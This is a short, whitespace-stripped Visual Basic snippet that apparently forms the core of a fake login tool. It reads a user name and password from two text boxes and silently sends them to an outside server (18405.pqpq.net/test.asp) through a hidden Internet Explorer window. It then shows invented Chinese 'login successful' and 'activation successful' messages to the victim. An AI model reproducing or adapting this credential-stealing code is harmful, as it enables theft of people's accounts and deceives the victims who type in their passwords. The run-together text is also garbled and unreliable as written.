DimaAsStringDimbAsStringa=Text1.Textb=Text2.TextShell"C:\ProgramFiles\InternetExplorer\iexplore.exehttp://18405.pqpq.net/test.asp?name="+a+"&pass;="+b,vbHideTimer1.Enabled=TrueMsgBox"登陆成功",,"系统提示"MsgBox"开通成功",,"系统提示"EndSub--------